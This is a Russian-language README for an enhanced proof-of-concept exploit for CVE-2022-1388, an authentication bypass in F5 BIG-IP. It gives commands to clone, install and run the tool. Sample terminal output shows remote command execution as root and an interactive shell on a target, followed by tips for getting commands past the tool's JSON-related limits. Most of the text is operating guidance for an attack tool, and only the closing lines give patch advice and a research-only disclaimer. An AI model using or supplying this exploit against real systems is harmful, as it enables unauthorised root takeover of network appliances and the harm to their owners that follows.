
Улучшенный Proof of Concept для CVE-2022-1388 с интерактивной оболочкой
Улучшенный PoC для CVE-2022-1388, затрагивающий несколько продуктов F5.
Это улучшенная версия Proof of Concept от Horizon3 для CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388
Эта версия содержит множество улучшений, а также интерактивную оболочку для выполнения удалённых команд.
Технический анализ первопричины уязвимости от Horizon3 можно найти в их блоге: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
Необходимые условия запроса для эксплуатации этой уязвимости:
git clone https://github.com/PsychoSec2/CVE-2022-1388-POC.git
cd ./CVE-2022-1388-POC
pip3 install -r requirements.txt
python3 ./CVE-2022-1388.py -h
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -t
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
Use -s option to run an interactive shell.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -s
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
Не требует использования каких-либо обратных TCP-соединений или слушателей.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -h
Usage: CVE-2022-1388.py [options]
Options:
-h, --help Show this help message.
-u URL, --url=URL The IP address of the target.
-t, --test Test target for CVE-2022-1388.
-s, --shell Run an interactive shell.
Обратите внимание: при запуске интерактивной оболочки на непропатченной системе некоторые команды и синтаксические конструкции могут не работать или давать неожиданный результат. Это, вероятно, связано с использованием JSON в API-запросах и ответах сервера. Чтобы избежать проблем, при использовании интерактивной оболочки старайтесь не использовать отдельные символы, распространённые в синтаксисе JSON, такие как двоеточия, запятые, фигурные скобки, квадратные скобки и особенно кавычки. Любой JSON-синтаксис внутри команды должен быть корректно структурирован.
Использование любого рода неструктурированного JSON-синтаксиса в команде может привести к некорректному API-запросу к серверу и может оставить вас: без вывода команды, без выполнения каких-либо действий, или это может полностью выбросить вас из python-скрипта. К сожалению, это делает некоторые команды непригодными к использованию. Чтобы обойти эту проблему, вы можете вместо этого написать bash-скрипт, загрузить его на сервер и выполнить его с помощью интерактивной оболочки. Также невозможно сменить каталог с помощью команды 'cd'.
В любом случае вы всё равно должны иметь возможность получить базовый вывод команд. Если вы не получаете вывод команды, это не означает, что команда не была выполнена. Однако вам придётся выяснить это самостоятельно.
Обновитесь до последней версии или примените меры защиты, следуя инструкциям из бюллетеня безопасности F5 (F5 Security Advisory)
Это программное обеспечение создано исключительно в целях академических исследований и разработки эффективных методов защиты и не предназначено для использования при атаках на системы, за исключением случаев явного разрешения. Сопровождающие проекта не несут ответственности за неправомерное использование программного обеспечения. Используйте ответственно.